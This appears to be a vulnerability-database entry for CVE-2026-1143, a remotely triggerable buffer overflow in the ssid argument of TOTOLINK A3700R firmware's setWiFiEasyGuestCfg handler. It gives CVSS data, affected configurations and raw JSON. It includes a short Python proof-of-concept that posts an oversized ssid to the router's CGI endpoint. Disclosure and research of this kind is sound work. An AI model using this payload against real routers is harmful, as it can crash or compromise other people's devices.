Security Vulnerability Report
中文
CVE-2026-1143 CVSS 8.8 HIGH

CVE-2026-1143

Published: 2026-01-19 07:16:23
Last Modified: 2026-01-29 18:31:17

Description

A weakness has been identified in TOTOLINK A3700R 9.1.2u.5822_B20200513. This affects the function setWiFiEasyGuestCfg of the file /cgi-bin/cstecgi.cgi. Executing a manipulation of the argument ssid can lead to buffer overflow. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:totolink:a3700r_firmware:9.1.2u.5822_b20200513:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:totolink:a3700r:-:*:*:*:*:*:*:* - NOT VULNERABLE
TOTOLINK A3700R firmware <= 9.1.2u.5822_B20200513

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-1143 PoC - TOTOLINK A3700R Buffer Overflow # Target: TOTOLINK A3700R router # Endpoint: /cgi-bin/cstecgi.cgi # Vulnerable function: setWiFiEasyGuestCfg target_ip = "192.168.1.1" # Router IP target_port = 80 # Construct malicious payload with oversized ssid parameter # This triggers buffer overflow in setWiFiEasyGuestCfg function payload = { "topicurl": "setWiFiEasyGuestCfg", "ssid": "A" * 1000, # Oversized ssid to trigger overflow "encryption": "wpapsk", "password": "test1234", "enable": "1" } url = f"http://{target_ip}:{target_port}/cgi-bin/cstecgi.cgi" try: response = requests.post(url, data=payload, timeout=10) print(f"Response Status: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1143", "sourceIdentifier": "[email protected]", "published": "2026-01-19T07:16:22.667", "lastModified": "2026-01-29T18:31:16.543", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in TOTOLINK A3700R 9.1.2u.5822_B20200513. This affects the function setWiFiEasyGuestCfg of the file /cgi-bin/cstecgi.cgi. Executing a manipulation of the argument ssid can lead to buffer overflow. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks."}, {"lang": "es", "value": "Se ha identificado una debilidad en TOTOLINK A3700R 9.1.2u.5822_B20200513. Esta afecta a la función setWiFiEasyGuestCfg del archivo /cgi-bin/cstecgi.cgi. La ejecución de una manipulación del argumento ssid puede conducir a un desbordamiento de búfer. El ataque puede lanzarse de forma remota. El exploit se ha puesto a disposición del público y podría usarse para ataques."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:a3700r_firmware:9.1.2u.5822_b20200513:*:*:*:*:*:*:*", "matchCriteriaId": "C3F5D7B3-9362-4A1F-A53C-8B7DA8CAFAA0"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:a3700r:-:*:*:*:*:*:*:*", "matchCriteriaId": "05777EB4-0963-4317-AB0B-287A2140915D"}]}]}], "references": [{"url": "https://lavender-bicycle-a5a.notion.site/TOTOLINK-A3700R-setWiFiEasyGuestCfg-2e353a41781f8057a244ead07d5eaaff?source=copy_link", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.341735", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.341735", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.735502", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.totolink.net/", "source": "[email protected]", "tags": ["Product"]}]}}